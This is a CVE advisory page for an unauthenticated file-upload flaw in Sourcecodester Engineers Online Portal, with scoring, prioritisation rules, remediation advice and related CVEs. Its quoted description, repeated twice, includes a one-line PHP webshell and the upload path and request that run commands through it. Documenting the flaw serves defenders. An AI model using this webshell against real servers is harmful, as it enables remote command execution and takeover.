Skip to main content

Engineers Online Portal CVE-2021-42669

CRITICAL
Unrestricted Upload of File with Dangerous Type (CWE-434)
2021-11-05 cve@mitre.org
9.8
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File type validation, storage isolation
MITRE ATT&CK

2 techniques across 2 tactics: Command and Control, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

CVSS score of 9.8 (CRITICAL). Attack characteristics: network attack vector, low complexity, no privileges required, no user interaction not required. Public proof-of-concept exploit code is available.

Exploit ScenarioDerived

A remote attacker could upload malicious files that can be executed on the server by sending crafted requests to the affected application. No authentication is required to exploit this vulnerability.

Act Now Prioritize within 24-48h. Why: CRITICAL + active threat signals, no patch available.
No patch listed yet 23.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAI

A file upload vulnerability exists in Sourcecodester Engineers Online Portal in PHP via dashboard_teacher.php, which allows changing the avatar through teacher_avatar.php. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RemediationAI

No vendor patch is available at time of analysis. Monitor vendor advisories for updates. Validate file types server-side, store uploads outside webroot, use random filenames, scan for malware.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability is classified as Unrestricted File Upload (CWE-434), which allows attackers to upload malicious files that can be executed on the server. A file upload vulnerability exists in Sourcecodester Engineers Online Portal in PHP via dashboard_teacher.php, which allows changing the avatar through teacher_avatar.php. Once an avatar gets uploaded it is getting uploaded to the /admin/uploads/ directory, and is accessible by all users. By uploading a php webshell containing "<?php system($_GET["cmd"]); ?>" the attacker can execute commands on the web server with - /admin/uploads/php-webshell?cmd=id. Affected products include: Engineers Online Portal Project Engineers Online Portal.

Know when Engineers Online Portal gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionNVD

A file upload vulnerability exists in Sourcecodester Engineers Online Portal in PHP via dashboard_teacher.php, which allows changing the avatar through teacher_avatar.php. Once an avatar gets uploaded it is getting uploaded to the /admin/uploads/ directory, and is accessible by all users. By uploading a php webshell containing "<?php system($_GET["cmd"]); ?>" the attacker can execute commands on the web server with - /admin/uploads/php-webshell?cmd=id.

Threat Intelligence Overview

EPSS Score
23.3%
Top 2% exploitable
Exploit
POC
Public exploit code exists
Data Quality
3 sources
Confidence: Low

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 23.3%
Patch available No
Active threat Yes
Deciding rule
CRITICAL + active threat signals, no patch available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact· derived
Medium

Priority Score

92
Low Medium High Critical
KEV: 0
EPSS: +23
CVSS: +49
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.

Affected Products (CPE)NVD

cpe:2.3:a:engineers_online_portal_project:engineers_online_portal:-:*:*:*:*:*:*:*
CVE-2023-5282 CRITICAL POC
9.8 Sep 29

A vulnerability was found in SourceCodester Engineers Online Portal 1.0. Rated critical severity (CVSS 9.8), this vulner

CVE-2023-5281 CRITICAL POC
9.8 Sep 29

A vulnerability was found in SourceCodester Engineers Online Portal 1.0. Rated critical severity (CVSS 9.8), this vulner

CVE-2023-5280 CRITICAL POC
9.8 Sep 29

A vulnerability was found in SourceCodester Engineers Online Portal 1.0 and classified as critical. Rated critical sever

CVE-2023-5279 CRITICAL POC
9.8 Sep 29

A vulnerability has been found in SourceCodester Engineers Online Portal 1.0 and classified as critical. Rated critical

CVE-2023-5278 CRITICAL POC
9.8 Sep 29

A vulnerability, which was classified as critical, was found in SourceCodester Engineers Online Portal 1.0. Rated critic

CVE-2023-5277 CRITICAL POC
9.8 Sep 29

A vulnerability, which was classified as critical, has been found in SourceCodester Engineers Online Portal 1.0.php. Rat

CVE-2023-5276 CRITICAL POC
9.8 Sep 29

A vulnerability classified as critical was found in SourceCodester Engineers Online Portal 1.0. Rated critical severity

CVE-2021-42670 CRITICAL POC
9.8 Nov 05

A SQL injection vulnerability exists in Sourcecodester Engineers Online Portal in PHP via the id parameter to the announ

CVE-2021-42668 CRITICAL POC
9.8 Nov 05

A SQL Injection vulnerability exists in Sourcecodester Engineers Online Portal in PHP via the id parameter in the my_cla

CVE-2021-42665 CRITICAL POC
9.8 Nov 05

An SQL Injection vulnerability exists in Sourcecodester Engineers Online Portal in PHP via the login form inside of inde

CVE-2023-5284 HIGH POC
8.8 Sep 29

A vulnerability classified as critical has been found in SourceCodester Engineers Online Portal 1.0. Rated high severity

CVE-2023-5283 HIGH POC
8.8 Sep 29

A vulnerability was found in SourceCodester Engineers Online Portal 1.0. Rated high severity (CVSS 8.8), this vulnerabil

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy